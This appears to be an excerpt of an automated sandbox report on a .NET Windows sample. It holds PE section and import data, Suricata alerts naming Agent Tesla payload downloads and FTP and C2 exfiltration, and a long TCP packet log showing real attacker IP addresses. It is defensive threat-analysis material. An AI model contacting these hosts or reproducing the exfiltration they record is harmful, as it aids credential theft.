add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x848c0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x86000	0x588	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x82914	0x82a00	c5ea1b2074df9b61bde3752dad4a96fb	False	0.4205704246411483	SysEx File - Victor	5.45514582006557	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x86000	0x588	0x600	6d4802b7bcdbf8aa10259b272b66a0a2	False	0.4153645833333333	data	4.032121392018966	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x88000	0xc	0x200	2a79473b288374d8661e3566dbbf1bee	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x860a0	0x2fc	data			0.43848167539267013
RT_MANIFEST	0x8639c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T07:31:26.751565+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.8	49705	TCP
2024-10-01T07:31:26.751565+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.8	49705	TCP
2024-10-01T07:31:32.844326+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.8	49706	5.2.84.236	21	TCP
2024-10-01T07:31:33.460095+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49707	5.2.84.236	63484	TCP
2024-10-01T07:31:33.465327+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49707	5.2.84.236	63484	TCP
2024-10-01T07:31:42.581347+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.8	49710	TCP
2024-10-01T07:31:42.581347+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.8	49710	TCP
2024-10-01T07:31:48.017800+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.8	49712	5.2.84.236	21	TCP
2024-10-01T07:31:48.642241+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49713	5.2.84.236	61512	TCP
2024-10-01T07:31:48.647690+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49713	5.2.84.236	61512	TCP
2024-10-01T07:31:50.753234+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.8	49714	TCP
2024-10-01T07:31:50.753234+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.8	49714	TCP
2024-10-01T07:31:56.098704+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.8	49715	5.2.84.236	21	TCP
2024-10-01T07:31:56.716214+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49716	5.2.84.236	64722	TCP
2024-10-01T07:31:56.721436+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49716	5.2.84.236	64722	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 07:31:25.515207052 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:25.515259027 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:25.515353918 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:25.527388096 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:25.527404070 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.036952019 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.037081003 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.046119928 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.046137094 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.046727896 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.100837946 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.520462036 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.563416958 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642294884 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642317057 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642338991 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642344952 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642456055 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.642478943 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.642491102 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.662949085 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.662988901 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.663084030 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.663094044 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.663110971 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.710251093 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.730221987 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.730236053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.730261087 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.730359077 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.730478048 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.731228113 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.731235027 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.731261969 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.731308937 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.731326103 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.732831955 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.732837915 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.732897043 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.751626968 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.751636982 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.751763105 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.818727016 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.818741083 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.818873882 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.819183111 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.819190025 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.819258928 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.819780111 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.819844007 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.820619106 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.820710897 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.821566105 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.821635962 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.822422981 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.822483063 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.823177099 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.823237896 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.840289116 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.840399027 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.907322884 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.907430887 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.907815933 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.907902956 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.908286095 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.908353090 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.908701897 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.908752918 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.909199953 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.909260988 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.909301043 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.909373045 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.910131931 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.910214901 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.910218954 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.910229921 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.910305977 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.910337925 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.910408020 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.911166906 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.911292076 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.911292076 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.911302090 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.911370039 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.912162066 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.912210941 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.912210941 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.912230015 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.912271976 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.912271976 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.926873922 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.926918030 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.928985119 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.929090023 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.929255009 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.929332972 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.995954037 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.996064901 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.996249914 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.996300936 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.996532917 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.996599913 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.996607065 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.996653080 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.996900082 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.996953964 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.997211933 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.997294903 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:26.997347116 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:26.997400045 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.001087904 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.001135111 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.001220942 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.001300097 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.001306057 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.001315117 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.001338959 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.001383066 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.001722097 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.001817942 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.002049923 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.002161980 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.002275944 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.002330065 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.002352953 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.002409935 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.017788887 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.017834902 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.017913103 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.017920971 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.017956018 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.017956018 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.036510944 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.036626101 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.084671974 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.084742069 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.084799051 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.084806919 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.084825993 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.084858894 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.084975004 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085053921 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085112095 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085161924 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085189104 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085203886 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085220098 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085268021 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085346937 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085397959 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085536957 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085599899 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085728884 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085788012 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.085897923 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.085958958 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086029053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086081028 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086200953 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086236954 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086287022 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086287022 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086292982 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086333036 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086570024 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086626053 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.086687088 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.086744070 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.088483095 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.088674068 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.106331110 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.106421947 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.106507063 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.106575012 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173362017 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173429012 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173448086 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173459053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173497915 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173497915 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173640966 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173690081 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173711061 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173716068 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173748970 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173748970 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.173866987 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.173922062 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174073935 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174170017 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174196959 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174294949 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174402952 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174535990 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174560070 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174606085 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174628973 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174634933 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174662113 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174690008 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.174932003 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.174978971 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.175137997 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.175182104 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.175213099 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.175216913 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.175259113 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.175259113 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.175337076 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.175414085 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.195092916 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.195151091 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.195229053 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.195229053 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.195238113 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.195275068 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262156010 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262295008 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262321949 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262396097 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262403965 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262495041 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262612104 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262612104 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262624979 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262676001 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262676001 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262686014 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262752056 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262855053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262892008 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262932062 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262932062 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.262937069 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.262976885 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263075113 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263158083 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263209105 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263272047 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263335943 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263410091 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263473034 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263536930 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263741016 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263798952 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.263886929 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.263974905 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.264050007 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.264118910 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.264120102 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.264128923 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.264192104 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.283972979 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.284041882 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.284071922 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.284085035 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.284106016 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.284133911 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.351903915 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.351958990 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352000952 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352010965 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352071047 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352097034 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352109909 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352178097 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352322102 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352385044 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352482080 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352577925 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352760077 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352798939 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352819920 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352824926 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352881908 CEST	49705	443	192.168.2.8	67.212.175.162
